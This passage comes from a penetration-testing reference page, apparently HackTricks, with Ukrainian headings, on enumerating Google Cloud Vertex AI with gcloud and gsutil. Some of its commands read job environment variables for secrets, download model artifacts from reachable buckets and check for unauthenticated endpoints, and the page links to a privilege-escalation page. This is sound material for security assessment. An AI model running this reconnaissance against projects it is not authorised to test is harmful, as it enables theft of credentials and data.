+gcloud ai models list-version --region= + +# List endpoints +gcloud ai endpoints list --region= +gcloud ai endpoints describe --region= +gcloud ai endpoints list --list-model-garden-endpoints-only --region= + +# List custom jobs +gcloud ai custom-jobs list --region= +gcloud ai custom-jobs describe --region= + +# Stream logs from a running job +gcloud ai custom-jobs stream-logs --region= + +# List hyperparameter tuning jobs +gcloud ai hp-tuning-jobs list --region= +gcloud ai hp-tuning-jobs describe --region= + +# List model monitoring jobs +gcloud ai model-monitoring-jobs list --region= +gcloud ai model-monitoring-jobs describe --region= + +# List Tensorboards +gcloud ai tensorboards list --region= +gcloud ai tensorboards describe --region= + +# List indexes (for vector search) +gcloud ai indexes list --region= +gcloud ai indexes describe --region= + +# List index endpoints +gcloud ai index-endpoints list --region= +gcloud ai index-endpoints describe --region= + +# Get operations (long-running operations status) +gcloud ai operations describe --region= + +# Test endpoint predictions (if you have access) +gcloud ai endpoints predict \ +--region= \ +--json-request=request.json + +# Make direct predictions (newer API) +gcloud ai endpoints direct-predict \ +--region= \ +--json-request=request.json +``` +### Збір інформації про модель +```bash +# Get detailed model information including versions +gcloud ai models describe --region= + +# Check specific model version +gcloud ai models describe @ --region= + +# List all versions of a model +gcloud ai models list-version --region= + +# Get model artifact location (usually a GCS bucket) +gcloud ai models describe --region= --format="value(artifactUri)" + +# Get container image URI +gcloud ai models describe --region= --format="value(containerSpec.imageUri)" +``` +### Деталі Endpoint +```bash +# Get endpoint details including deployed models +gcloud ai endpoints describe --region= + +# Get endpoint URL +gcloud ai endpoints describe --region= --format="value(deployedModels[0].displayName)" + +# Get service account used by endpoint +gcloud ai endpoints describe --region= --format="value(deployedModels[0].serviceAccount)" + +# Check traffic split between models +gcloud ai endpoints describe --region= --format="value(trafficSplit)" +``` +### Інформація про Custom Job +```bash +# Get job details including command, args, and service account +gcloud ai custom-jobs describe --region= + +# Get service account used by job +gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)" + +# Get container image used +gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)" + +# Check environment variables (may contain secrets) +gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)" + +# Get network configuration +gcloud ai custom-jobs describe --region= --format="value(jobSpec.network)" +``` +### Контроль доступу +```bash +# Note: IAM policies for individual Vertex AI resources are managed at the project level +# Check project-level permissions +gcloud projects get-iam-policy + +# Check service account permissions +gcloud iam service-accounts get-iam-policy + +# Check if endpoints allow unauthenticated access +# This is controlled by IAM bindings on the endpoint +gcloud projects get-iam-policy \ +--flatten="bindings[].members" \ +--filter="bindings.role:aiplatform.user" +``` +### Зберігання та артефакти +```bash +# Models and training jobs often store artifacts in GCS +# List buckets that might contain model artifacts +gsutil ls + +# Common artifact locations: +# gs://-aiplatform-/ +# gs://-vertex-ai/ +# gs:///vertex-ai/ + +# Download model artifacts if accessible +gsutil -m cp -r gs:///path/to/artifacts ./artifacts/ + +# Check for notebooks in AI Platform Notebooks +gcloud notebooks instances list --location= +gcloud notebooks instances describe --location= +``` +### Model Garden +```bash +# List Model Garden endpoints +gcloud ai endpoints list --list-model-garden-endpoints-only --region= + +# Model Garden models are often deployed with default configurations +# Check for publicly accessible endpoints +``` +### Підвищення привілеїв + +На наступній сторінці ви можете перевірити, як **зловживати дозволами Vertex AI для підвищення привілеїв**: + +{{#ref}} +../gcp-privilege-escalation/gcp-vertex-ai-privesc.md +{{#endref}} + +## Посилання + +- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs) +- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest) + +{{#include ../../../banners/hacktricks-training.md}}